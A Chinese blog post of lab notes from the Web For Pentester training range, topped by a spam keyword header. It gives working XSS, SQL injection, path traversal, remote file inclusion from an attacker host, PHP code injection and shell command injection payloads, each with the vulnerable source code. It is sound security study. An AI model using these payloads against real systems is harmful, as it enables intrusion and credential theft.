日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

[NOTE] Web For Pentester靶场练习笔记

發(fā)布時(shí)間:2024/4/18 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [NOTE] Web For Pentester靶场练习笔记 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

[NOTE] Web For Pentester靶場(chǎng)練習(xí)筆記

文章目錄

  • [NOTE] Web For Pentester靶場(chǎng)練習(xí)筆記
    • 前言
    • Web基礎(chǔ)
      • PHP的session管理
      • HTTP認(rèn)證
      • Web應(yīng)用指紋識(shí)別
    • XSS
      • Example 1
      • Example 2
      • Example 3
      • Example 4
      • Example 5
      • Example 6
      • Example 7
      • Example 8
      • Example 9
    • SQL injections
      • Example 1
      • Example 2
      • Example 3
      • Example 4
      • Example 5
      • Example 6
      • Example 7
      • Example 8
      • Example 9
    • Directory traversal
      • Example 1
      • Example 2
      • Example 3
    • File Include
      • Example 1
      • Example 2
    • Code injection
      • Example 1
      • Example 2
      • Example 3
      • Example 4
    • Commands injection
      • Example 1
      • Example 2
      • Example 3
    • LDAP attacks
      • Example 1
      • Example 2
    • File Upload
      • Example 1
      • Example 2
    • XML attacks
      • Example 1
      • Example 2

前言

搞完XVWA之后

環(huán)境
hacker: Kali Linux | 192.168.10.1/10.10.10.1
server: Debian 6 | 192.168.10.xxx (dynamic)

想著搞完這個(gè)Web靶場(chǎng)就暫時(shí)歇一歇
不搞這種專門的列一大堆的Web漏洞的靶場(chǎng)了
后面搞CMS,以及一些sqli和upload的專項(xiàng)訓(xùn)練,還有練練滲透

所以這個(gè)靶場(chǎng)更多地面向源碼一些
先黑盒,做不做得出最后都看看代碼分析一下

也會(huì)看看官方給的教程文檔,看看有沒(méi)有別的什么值得學(xué)習(xí)的地方

此外也借鑒整理了國(guó)光大神的博客

Web基礎(chǔ)

就是對(duì)官方教程前面的部分進(jìn)行簡(jiǎn)單看看,記些不太熟或不懂的

Web安全的根基:don’t trust the client

Web服務(wù)端可以進(jìn)一步劃分不同的層次,并面臨不同的安全問(wèn)題:

  • Web服務(wù)器,如Apache、lighttpd、Nginx、IIS等
  • 應(yīng)用服務(wù)器,如Tomcat、Jboss、Oracle Application server等
  • 編程語(yǔ)言,如PHP、Java、Ruby、Python、ASP、C#等
    這些編程語(yǔ)言也可以被用作框架的一部分,如Ruby-on-Rails、.Net MVC、Django等

同一個(gè)Web應(yīng)用可能會(huì)同時(shí)使用多個(gè)或多種后端存儲(chǔ)
例如使用==LDAP==存儲(chǔ)用戶及其憑證,而使用Oracle存儲(chǔ)信息

GET和HEAD的區(qū)別僅體現(xiàn)在服務(wù)器的響應(yīng)上:
GET的返回可以包含返回體
HEAD的返回體僅有headers,而沒(méi)有body

還有別的方法如PUT、DELETE、OPTION等
以前倒是了解過(guò)RESTful架構(gòu),簡(jiǎn)單寫了下筆記

有些請(qǐng)求參數(shù)看起來(lái)像是這樣:
/index.php?user[name]=louis&user[group]=1
一些框架會(huì)把它映射到user對(duì)象中,用來(lái)查找指定屬性符合的對(duì)象
有時(shí)候這種使用方法若防御不當(dāng),則會(huì)導(dǎo)致名為“mass-assignment”的風(fēng)險(xiǎn)
(簡(jiǎn)單了解下,這個(gè)好像是涉及到Ruby-on-Rails框架,后面有機(jī)會(huì)再了解下)

  • X-Forwarded-For頭的作用:獲取源IP地址
  • Host頭,在一些多站點(diǎn)服務(wù)器上,服務(wù)器用于“virtual-hosting”(同IP多域名)
    這里很多時(shí)候是一個(gè)安全點(diǎn),如輸入IP地址啥的

418響應(yīng)碼:I’m a teapot

double encoding:雙重編碼有時(shí)可能有點(diǎn)用,URL啥的

關(guān)于返回包里的Set-Cookie字段,包含了一些信息:

  • 有效期:告訴瀏覽器什么時(shí)候刪除這個(gè)cookie
  • Domain:告訴瀏覽器把這個(gè)cookie發(fā)往哪一個(gè)子域名或主機(jī)名
  • Path:告知瀏覽器把這個(gè)cookie發(fā)往哪一個(gè)路徑
  • 安全標(biāo)志:如httpOnly、secure等

cookie與session:一個(gè)存儲(chǔ)在客戶端,一個(gè)存儲(chǔ)在服務(wù)端

PHP的session管理

PHP在Debian里面是無(wú)加密存儲(chǔ)sessionid的,如/var/lib/php5
假如一個(gè)sessionid是o8d7lr4p16d9gec7ofkdbnhm93
那么對(duì)應(yīng)的文件就是sess_o8d7lr4p16d9gec7ofkdbnhm93,里面有關(guān)于這個(gè)session的完整信息

HTTP認(rèn)證

HTTP協(xié)議中自帶以下的認(rèn)證方法:

  • Basic:通過(guò)Authorization頭指定,用戶名和密碼經(jīng)BASE64編碼后發(fā)送給服務(wù)器

  • Digest:服務(wù)端發(fā)送挑戰(zhàn),客戶端將挑戰(zhàn)連同密碼作哈希后發(fā)往服務(wù)器

  • NTLM:多在Microsoft里面使用,和Digest差不多

Web應(yīng)用指紋識(shí)別

  • server的名稱和版本

  • 后端有無(wú)使用應(yīng)用服務(wù)器

  • 后端數(shù)據(jù)庫(kù)

  • 反向代理的使用?

  • 負(fù)載平衡

  • 編程語(yǔ)言

有時(shí)候以.jsp和.do為后綴的頁(yè)面文件很可能是Java語(yǔ)言寫的
(雖然也有可能是混淆)

有時(shí)候頁(yè)面旁邊的小圖標(biāo)也能暴露服務(wù)器banner信息
只要網(wǎng)站管理員沒(méi)改的話

robots.txt文件有時(shí)候可以暴露框架和應(yīng)用

有時(shí)候一些CMS或應(yīng)用的文檔,可能暴露管理員頁(yè)面

XSS

關(guān)于XSS漏洞具體的利用場(chǎng)景,可以看看我之前在Pikachu靶場(chǎng)的練習(xí)筆記
下面的練習(xí),就簡(jiǎn)單彈個(gè)窗什么的…

Example 1

最最最最最最最最最最基本的XSS,亂X

源碼就是直接echo參數(shù)

Example 2

過(guò)濾了<script>,大小寫混拼可繞過(guò)

源碼:preg_replace正則匹配替換<script>和</script>
雙拼、大小寫繞過(guò)都可以

Example 3

img標(biāo)簽可繞過(guò):
?name=<img src="e" onerror=alert("XSS") />

源碼:preg_replace正則匹配<script>和</script>,不區(qū)分大小寫
雙拼可繞過(guò)

Example 4

img標(biāo)簽可繞過(guò)

源碼:preg_match('/script/i', $_GET["name"])
正則匹配“script”,不區(qū)分大小寫,匹配到就報(bào)“error”

Example 5

很奇怪,過(guò)濾alert?
寫cookie在頁(yè)面上的payload:
<script>document.write(document.cookie)</script>

源碼還真是正則匹配不區(qū)分大小寫的alert,匹配到就報(bào)錯(cuò)
why?


行吧,原來(lái)題目要求我們就要彈窗

那就結(jié)合eval函數(shù)和String.fromCharCode函數(shù)
后者將alert("XSS")的ascii碼轉(zhuǎn)成字符,再拼接成字符串
前者將字符串當(dāng)作代碼執(zhí)行

payload1:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41))</script>

payload2:
<img src="e" onerror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41));" />

另外兩個(gè)彈窗函數(shù),都可以回顯cookie:

  • confirm:彈出確認(rèn)框
  • prompt:彈出輸入框

Example 6

這次輸什么都不會(huì)回顯了

源碼:

Hello <script>var $a= "<?php echo $_GET["name"]; ?>"; </script>

也就是說(shuō),輸入被拼接到了字符串中,被當(dāng)作變量保存
然后沒(méi)有任何回顯

這種是屬于盲注的情況?

輸入的參數(shù)要主動(dòng)閉合上雙引號(hào),然后形成完整的JS語(yǔ)句
payload:";alert("XSS")//
變成:var $a= "<?php echo "; alert("XSS")//; ?>"

這個(gè)比較難想到?
思路是,不管什么東西,都試試單/雙引號(hào)主動(dòng)閉合看看

Example 7

源碼:

Hello <script>var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script>

使用htmlentities函數(shù)將HTML特殊字符轉(zhuǎn)義成HTML實(shí)體
但是這個(gè)函數(shù)默認(rèn)不轉(zhuǎn)義',除非加上ENT_QUOTES參數(shù)

所以主動(dòng)閉合,payload:';alert('XSS');//

Example 8

換成了一個(gè)輸入框,POST提交參數(shù),然后回顯
但是這次好像怎么注都不太行

源碼:

echo "HELLO ".htmlentities($_POST["name"]);

這次的輸入框不存在XSS問(wèn)題了,因?yàn)檩斎攵嫉玫搅苏_的轉(zhuǎn)義

但是問(wèn)題出在form表單的構(gòu)造:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">Your name:<input type="text" name="name" /><input type="submit" name="submit"/>

上面使用了$_SERVER['PHP_SELF']這個(gè)變量,指代的是當(dāng)前執(zhí)行腳本的文件名
不當(dāng)使用該變量也可能導(dǎo)致XSS問(wèn)題

在這一題中,根據(jù)URL該值應(yīng)該是/xss/example8.php
但是攻擊者可以通過(guò)修改URL從而達(dá)到XSS的目的

根據(jù)上述,可以給出以下payload:
http://192.168.10.136/xss/example8.php/"></from><script>alert(document.cookie)</script>
這樣一來(lái)表單就會(huì)變成:

<form action=""></from><script>alert(document.cookie)</script>" method="POST">Your name:<input type="text" name="name" /><input type="submit" name="submit"/>

嵌入了script標(biāo)簽,從而執(zhí)行惡意代碼

但是從頁(yè)面元素來(lái)看,表單結(jié)構(gòu)顯示的是<form action="/xss/example8.php" method="POST">
這我怎么知道這里是寫死的還是代碼生成的呢?只能白盒?

總之,學(xué)習(xí)到$_SERVER['PHP_SELF']這個(gè)變量是指示當(dāng)前執(zhí)行腳本的文件名
一定程度上反映自URL,而URL是用戶可控的

Example 9

這次是基于DOM型的XSS,源碼:

<script>document.write(location.hash.substring(1)); </script>

意思是將URL錨點(diǎn)#后面的字符串寫在頁(yè)面上
理論上這里寫XSS的payload就好

但是有一個(gè)問(wèn)題,目前我的瀏覽器會(huì)自動(dòng)URL編碼
所以最后寫在頁(yè)面上的是編碼后的payload:

形成不了彈窗的效果

bp、curl這倆工具捕獲不到后面動(dòng)態(tài)生成頁(yè)面的過(guò)程
那咋辦
換成HTML編碼那就更不行了

一個(gè)思路就是看看能不能關(guān)掉瀏覽器的自動(dòng)URL編碼功能

SQL injections

Example 1

GET一個(gè)name參數(shù),傳入用戶名,然后返回信息

傳入不存在的用戶名也會(huì)顯示屬性欄
但是傳入'則會(huì)什么都沒(méi)有,類似于頁(yè)面出現(xiàn)錯(cuò)誤
說(shuō)明可能是單引號(hào)字符型注入

驗(yàn)證注入的payload:?name=' or 1=1 %23

判斷回顯字段為5:?name=root' order by 5%23

觀察回顯位置:' union select 1,2,3,4,5 %23

爆庫(kù):?name=' union select database(),2,3,4,5 %23

爆表:?name=' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() %23

爆列:?name=' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' %23

爆數(shù)據(jù):?name=' union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users %23


源碼:

$sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";

最簡(jiǎn)單的SQLi

Example 2

情景和上題一樣

測(cè)試全注:' or 1=1 %23
但是回顯“ERROR NO SPACE”
說(shuō)明檢測(cè)到了空格,從而報(bào)錯(cuò)

那就換成注釋符/**/作為分隔符
判斷回顯字段:?name='/**/union/**/select/**/1,2,3,4,5/**/%23

中間過(guò)程省略,最后爆數(shù)據(jù):?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23


源碼:

if (preg_match('/ /', $_GET["name"])) {die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";

正則匹配到有空格就報(bào)錯(cuò),換成注釋符/**/可繞過(guò)

Example 3

和上題沒(méi)什么區(qū)別?也是過(guò)濾空格?

最后爆數(shù)據(jù)的payload:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23


源碼:

if (preg_match('/\s+/', $_GET["name"])) {die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";

原來(lái)是過(guò)濾掉所有空白字符,但是沒(méi)有考慮注釋符
所以上一題的繞過(guò)方法還能用

Example 4

參數(shù)從name變成了id,說(shuō)明可能是數(shù)字型注入
一試,果然:?id=999 or 1=1 %23

剩下的就是最簡(jiǎn)單的數(shù)字型注入,主要是?id=999 union select ...


源碼:

$sql="SELECT * FROM users where id="; $sql.=mysql_real_escape_string($_GET["id"])." ";

亂注

Example 5

和上題沒(méi)什么區(qū)別?


源碼:

if (!preg_match('/^[0-9]+/', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"] ;

好像是匹配不到整數(shù)就報(bào)錯(cuò),但是為什么這個(gè)payload能夠通過(guò)?
?id=999 union select 1,2,3,4,5 %23

測(cè)了下,好像這個(gè)函數(shù)preg_match捕獲到第一個(gè)符合條件的就返回,就不管后面的內(nèi)容了,所以上面匹配到999之后,就通過(guò)檢查了,但是會(huì)把所有payload都傳遞給$id

官方文檔也是這樣說(shuō)的:

**preg_match()返回 pattern 的匹配次數(shù)。 它的值將是0次(不匹配)或1次,因?yàn)?/strong>preg_match()**在第一次匹配后 將會(huì)停止搜索。

Example 6

這次輸入?id=999 union select 1,2,3,4,5 %23
也會(huì)報(bào)“ERROR INTEGER REQUIRED”


源碼:

if (!preg_match('/[0-9]+$/', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"] ;

原來(lái)是要參數(shù)id最后匹配數(shù)字,前面不管
那么后面的注釋符#都不同了哈哈

全注的payload:?id=55 or 1=1 or 99

判斷回顯字段數(shù):?id=1 order by 5

判斷回顯字段:?id=999 union select 1,2,3,4,5

爆庫(kù):?id=999 union select database(),2,3,4,5

爆表和爆列最后面的where語(yǔ)句判斷,需要最后面加個(gè) and 1來(lái)繞過(guò)檢查

爆表:?id=999 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() and 1

爆列:?id=999 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' and 1

爆數(shù)據(jù)最后面加個(gè)where 1就行

爆數(shù)據(jù):?id=999 union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users where 1

Example 7

這次看起來(lái)限制的比較死,哪里有非數(shù)字字符好像都不行


源碼:

if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"];

將id參數(shù)從頭匹配到尾~~(還是全行匹配)~~,若不是整數(shù),則報(bào)錯(cuò)
那咋辦,查攻略

正則匹配的修飾符/m,意思是多行模式
即會(huì)逐行匹配,而不是匹配整個(gè)字符串的開頭和結(jié)尾

加上preg_match只匹配一次的特性
就可以這樣構(gòu)造payload:123\nPAYLOAD

但是不管我怎樣搞,都會(huì)顯示“ERROR INTEGER REQUIRED”
URL編碼后也不行

則么會(huì)是?

Example 8

這一次比較奇怪,參數(shù)變成了order
一開始是?order=name,懷疑是將查詢結(jié)果按“name”屬性排列
改成“id”或“age”,也按對(duì)應(yīng)屬性順序排列了

猜測(cè)后端代碼如:select * from table order by '$_GET['name']'

然后就不會(huì)了


源碼:

$sql = "SELECT * FROM users ORDER BY `"; $sql .= mysql_real_escape_string($_GET["order"])."`";

需要說(shuō)明一點(diǎn)的是
MySQL里面的order by后面跟的排列字段只有以下兩種形式:

  • 直接跟列名:order by name
  • 反點(diǎn)之間的列名:order by `name`

所以之前猜測(cè)的使用單引號(hào)是不對(duì)的

此外源碼里面還使用了mysql_real_escape_string函數(shù),單雙引號(hào)、回車制表、反斜杠以及\x00等都會(huì)被轉(zhuǎn)義
就是沒(méi)有轉(zhuǎn)義“`”

這里還要結(jié)合一下order by可以多字段排列的特點(diǎn)
以及使用case-when-then-else-end句式

示例payload:?order=id`, (case when (1=2) then `name` else `age` end) %23
首先是主動(dòng)閉合,先將查詢結(jié)果按id字段排列
后面的句式是關(guān)鍵,when里面添加判斷語(yǔ)句
為真則進(jìn)一步按name字段排列,否則按age字段排列

when里面可以替換成別的判斷
返回結(jié)果會(huì)根據(jù)真假是否成立從而形成不同的顯示結(jié)果
從而形成盲注的效果

遺憾的是,這里的數(shù)據(jù)庫(kù)每個(gè)字段都是不一樣的
所以找不出不同判斷結(jié)果會(huì)有的不一樣的地方

Example 9

源碼:

$sql = "SELECT * FROM users ORDER BY "; $sql .= mysql_real_escape_string($_GET["order"]);

和上題類似,只不過(guò)是使用了order by的另一種字段使用方法:直接拼接

由于不用使用“`”去主動(dòng)閉合,可以做到只用一個(gè)字段排列
返回結(jié)果能夠根據(jù)when的判斷結(jié)果而不一樣了
真正做到了盲注


下面的盲注過(guò)程只是簡(jiǎn)單寫寫,不寫完整過(guò)程(手工盲注也太累了吧)

判斷出數(shù)據(jù)庫(kù)名長(zhǎng)度為9:
?order=(case when (length(database())=9) then `id` else `age` end)

判斷出第一個(gè)表名長(zhǎng)度為5:
?order=(case when (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5) then `id` else `age` end)

判斷出第一個(gè)表名的第一個(gè)字符的ascii碼為117:
?order=(case when (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) then `id` else `age` end)
(不能用字符直接判斷,因?yàn)槭褂昧薽ysql_real_escape_string函數(shù))

后面算了,sqlmap跑跑看
sqlmap能注是能注,但它用的是時(shí)間盲注,效率有點(diǎn)慢
加上我的靶場(chǎng)環(huán)境配置,攻擊者和靶機(jī)之間的通信有時(shí)會(huì)卡住,就很慢
不過(guò)sqlmap的容錯(cuò)做的是真的不錯(cuò),會(huì)自動(dòng)根據(jù)實(shí)際情況調(diào)整時(shí)延上限
牛逼牛逼

是不是要把靶機(jī)的處理器和內(nèi)存都配置得大一點(diǎn)?

Directory traversal

奇怪的是,為什么主頁(yè)上沒(méi)有超鏈接,而是這么一個(gè)icon?

直接抄家,翻源碼找到對(duì)應(yīng)練習(xí)頁(yè)面:
http://192.168.10.XXX/dirtrav/exampleX.php


此外官網(wǎng)的指引中給出了一個(gè)路徑穿越漏洞的一般測(cè)試步驟:

  • images/./photo.jpg:能看到同一文件
  • images/../photo.jpg:報(bào)錯(cuò)
  • images/../images/photo.jpg:能看到同一文件
  • images/../IMAGES/photo.jpg:報(bào)錯(cuò)(卻決于目標(biāo)系統(tǒng)是否對(duì)路徑大小寫敏感)

此外../的數(shù)量過(guò)多的話一般來(lái)說(shuō)也是沒(méi)有問(wèn)題的

Example 1

有一個(gè)GET參數(shù)file承接一個(gè)文件名
然后就可以../../../../../../../etc/passwd了


此外官網(wǎng)指引提到
要是包含一個(gè)返回頭Content-Disposition: attachment
瀏覽器是不會(huì)直接顯示文件的
而可以通過(guò)打開文件來(lái)查看內(nèi)容

例如可以使用wget命令來(lái)路徑穿越下載文件:
wget -O - 'http://vulnerable/dirtrav/example1.php?file=../../../../../../../etc/passwd'

Example 2

上一個(gè)練習(xí)的payload不能用了

相關(guān)源碼:

$file = $_GET['file']; if (!(strstr($file,"/var/www/files/")))die();

strstr函數(shù):strstr(string $haystack, mixed $needle)
返回haystack字符串從needle第一次出現(xiàn)的位置開始到haystack結(jié)尾的字符串
例如strstr('name@xxx.com', '@')返回@xxx.com

so the payload:?file=/var/www/files/../../../../../../etc/passwd

大概有點(diǎn)像判斷參數(shù)里一定要包含合法值的意思

Example 3

上面的兩個(gè)payload都不好使

相關(guān)源碼:

$path = $UploadDir . $file.".png"; $path = preg_replace('/\x00.*/',"",$path);

原來(lái)是給傳入?yún)?shù)添加上了后綴
然而這種防范很容易繞過(guò)——利用00截?cái)?br /> 一般在Perl和老版本的PHP語(yǔ)言中很管用
PHP 5.3.4及以上版本修復(fù)此問(wèn)題)

所以payload:?file=../../../../../../etc/passwd%00


關(guān)于00截?cái)?#xff1a;具體是指老版本PHP等語(yǔ)言,在讀取文件名是,如遇0x00,則會(huì)認(rèn)為讀取已結(jié)束

具體是null字符,在URL編碼中為%00

File Include

這里是包含php文件,一般情況下涉及到下列函數(shù):

  • require
  • require_once
  • include
  • include_once

一般結(jié)合文件上傳漏洞打組合拳,官方給了一個(gè)用于遠(yuǎn)程包含的php文件:
https://assets.pentesterlab.com/test_include.txt
就是簡(jiǎn)單的php探針

Example 1

page參數(shù)接一個(gè)php文件,那試試直接上上面的payload
然就發(fā)現(xiàn)寄了,因?yàn)榘袡C(jī)是內(nèi)網(wǎng)環(huán)境,整不了外網(wǎng)腳本

那就在攻擊機(jī)里整探針試試:http://192.168.10.1/hack.php
但是信息是攻擊機(jī)的

另外如果構(gòu)造錯(cuò)誤輸入可以爆出一些有用信息:
Warning: include(http://192.168.10.1/hack.php'): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'http://192.168.10.1/hack.php'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7

Example 2

page參數(shù)后面這次沒(méi)有.php后綴了,后端會(huì)自動(dòng)加上

看了看源碼,繞過(guò)方法是低版本php的00截?cái)?/p>

Code injection

談到php里有個(gè)系統(tǒng)代碼執(zhí)行函數(shù)system
然后php的行注釋符是//

php里代碼拼接是.

Example 1

name參數(shù),輸入"得報(bào)錯(cuò)信息:
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1
得知使用的是eval函數(shù)

看眼源碼:

$str="echo \"Hello ".$_GET['name']."!!!\";"; eval($str);

如果輸入try".",那么$str就會(huì)變成這樣:
$str="echo \"Hello try" . "!!!\";";

抽出字符串本身來(lái)看,就是這個(gè)樣子:
echo "Hello {我們注入的代碼} !!!";

所以一個(gè)探針peyload就是:?name=";phpinfo();$a="
命令變成:echo "Hello ";phpinfo();$a=" !!!";

也可以放到php代碼層進(jìn)行繞過(guò):
?name=".phpinfo();//
拼接變成:$str="echo \"Hello ".phpinfo();//!!!\";";
(這里不是很懂拼接的雙引號(hào)問(wèn)題)

或者使用${${code}}嗯插代碼:
?name=${${phpinfo()}}

如果想執(zhí)行系統(tǒng)命令而不是php函數(shù),則使用system函數(shù):
?name=".system('uname -a'); $dummy="
變成:$str="echo \"Hello ".system('uname -a'); $dummy="!!!\";";
(不是很懂拼接的雙引號(hào)問(wèn)題)


感覺(jué)還是得學(xué)習(xí)一波php語(yǔ)言

Example 2

變成了一個(gè)表格,order參數(shù)傳入排序的列名

單引號(hào)所引發(fā)的報(bào)錯(cuò):
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22

不知道是啥代碼捏


開發(fā)者使用排序時(shí)可能會(huì)使用以下方法:

  • order by——SQL請(qǐng)求
  • usort——PHP代碼

usort函數(shù)經(jīng)常使用create_function函數(shù)去動(dòng)態(tài)生成排序函數(shù)

本題的關(guān)鍵代碼:

if (isset($order)) {usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); }

usort(array, myfunction):
使用用戶自定義的比較函數(shù)對(duì)數(shù)組中的元素進(jìn)行排序
array:要排序的數(shù)組
myfunction:用于比較函數(shù)的字符串

create_function(string $args, string $code):
創(chuàng)建匿名函數(shù)
args:lambda函數(shù)的變量部分
code:lambda函數(shù)的實(shí)現(xiàn)

例如create_function('$fname','echo $fname."welcome"')
等價(jià)于:

function fT($fname) {echo $fname."welcome"; }

不能說(shuō)是等價(jià),實(shí)際上就是按這個(gè)模式進(jìn)行創(chuàng)建的
所以注入時(shí)需要考慮主動(dòng)閉合花括號(hào),使用}


所以看回代碼:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
關(guān)鍵就是參數(shù)order,看看怎么主動(dòng)閉合形成代碼注入

一步步試:
?order=id;}//
?order=id);}//
?order=id));}//

上面只有中間那個(gè)不會(huì)報(bào)語(yǔ)法錯(cuò)誤(error),只是警告(warning)
所以只需在}后面跟上我們要注入的代碼即可

所以當(dāng)注入這個(gè):id);}phpinfo();//
就會(huì)變成:

create_function('$a, $b', 'return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//')

function fT($a, $b) {return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//;}

usort函數(shù)使用上面的匿名函數(shù)字符串,所以最后會(huì)執(zhí)行一遍phpinfo

有點(diǎn)難,得學(xué)PHP

Example 3

一大堆參數(shù)WTF:?new=hacker&pattern=/lamer/&base=Hello lamer
然后頁(yè)面只是回顯個(gè)“Hello hacker”

源碼:

echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

大概是把base里面正則匹配的pattern替換成new的意思


說(shuō)到preg_replace函數(shù),有一個(gè)很危險(xiǎn)的選項(xiàng)PCRE_REPLACE_EVAL(/e)
會(huì)導(dǎo)致preg_replace函數(shù)會(huì)把替換后的新字符串當(dāng)作PHP代碼去執(zhí)行

PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0
后面用preg_replace_callback代替

所以只需要在傳入的模式中加上/e模式
就可以把替換后的結(jié)果當(dāng)作PHP代碼執(zhí)行

所以payload:?new=phpinfo()&pattern=/lamer/e&base=Hello lamer

Example 4

又變回來(lái)了,name參數(shù),回顯到頁(yè)面上

引號(hào)引起的報(bào)錯(cuò):Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: ''' in /var/www/codeexec/example4.php on line 4

估計(jì)和assert函數(shù)有關(guān)


源碼:

assert(trim("'".$_GET['name']."'")); echo "Hello ".htmlentities($_GET['name']);

trim:移除字符串兩邊的空白字符或預(yù)定義字符
assert:PHP5可以執(zhí)行代碼

所以主要就是構(gòu)造閉合,執(zhí)行想要的代碼
和Example 1差不多

有三種閉合方式:
注釋掉后面的引號(hào):?name='.phpinfo();//
也閉合后面引號(hào):'.phpinfo().'
直接${${code}}插入代碼:'.${${phpinfo()}}.'

Commands injection

上面是代碼注入,這里是命令注入,有點(diǎn)區(qū)別

此外Linux里面有個(gè)機(jī)制,就是反引號(hào)里面的字符串會(huì)被當(dāng)成命令先執(zhí)行
例如“echo `whoami`”會(huì)輸出當(dāng)前用戶名

Example 1

ip參數(shù)后面跟個(gè)IP地址,然后給出ping的結(jié)果

好像很明顯?直接分號(hào)接命令就ok:?ip=127.0.0.1;whoami

源碼:
system("ping -c 2 ".$_GET['ip']);

Example 2

?ip=127.0.0.1;whoami直接報(bào)“Invalid IP address”

源碼:

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {die("Invalid IP address"); } system("ping -c 2 ".$_GET['ip']);

正則匹配限定參數(shù)必須有ip地址形式的字符串
但是是多行模式匹配,加上preg_match函數(shù)只會(huì)匹配一次的特點(diǎn)
所以可以使用換行符(URL編碼)來(lái)分隔正常的輸入和惡意命令:
?ip=127.0.0.1%0Awhoami

Example 3

發(fā)現(xiàn)輸入?ip=127.0.0.1;whoami會(huì)跳轉(zhuǎn)回ping 127.0.0.1的頁(yè)面

抓包一看發(fā)現(xiàn)只是重定向而已,原來(lái)的包還是會(huì)返回惡意代碼執(zhí)行的結(jié)果

LDAP attacks

LDAP(Lightweight Directory Access Protocol),輕量目錄訪問(wèn)協(xié)議

可以把他和數(shù)據(jù)庫(kù)類比,LDAP是一個(gè)為查詢、瀏覽、搜索而優(yōu)化的專業(yè)分布式數(shù)據(jù)庫(kù),它成樹狀結(jié)構(gòu)組織數(shù)據(jù),就好像 Linux/Unix系統(tǒng)中的文件目錄一樣。

目錄數(shù)據(jù)庫(kù)和關(guān)系數(shù)據(jù)庫(kù)不同,它有優(yōu)異的讀性能,但寫性能差,并且沒(méi)有事務(wù)處理、回滾等復(fù)雜功能,不適于存儲(chǔ)修改頻繁的數(shù)據(jù)。

所以 LDAP天生是用來(lái)查詢的。

Example 1

用于認(rèn)證的兩個(gè)參數(shù)username和password
一開始有初值:?username=hacker&password=hacker
但是回顯“NOT AUTHENTICATED”

但是把所有參數(shù)都刪除,就會(huì)顯示“AUTHENTICATED”,認(rèn)證成功了


一些LDAP服務(wù)器允許NULL綁定:如果NULL值被傳輸,則LDAP服務(wù)器會(huì)嘗試綁定連接,而PHP代碼會(huì)認(rèn)為這種認(rèn)證是合法的

源碼:

$ld = ldap_connect("localhost") or die("Could not connect to LDAP server"); ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3); ldap_set_option($ld, LDAP_OPT_REFERRALS, 0); if ($ld) {if (isset($_GET["username"])) { $user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";}$lb = @ldap_bind($ld, $user,$_GET["password"]);if ($lb) {echo "AUTHENTICATED";}else {echo "NOT AUTHENTICATED";} }

抽出漏洞原因,估計(jì)是下面這個(gè):

$lb = @ldap_bind($ld, $user,$_GET["password"]); if ($lb) {echo "AUTHENTICATED"; }

由于ldap_bind繼續(xù)嘗試綁定連接,所以$lb不為NULL,所以通過(guò)下方認(rèn)證判定
這是一種編碼失誤,其他認(rèn)證過(guò)程也要注意類似的問(wèn)題

Example 2

默認(rèn)參數(shù):?name=hacker&password=hacker
回顯“AUTHENTICATED as hacker”

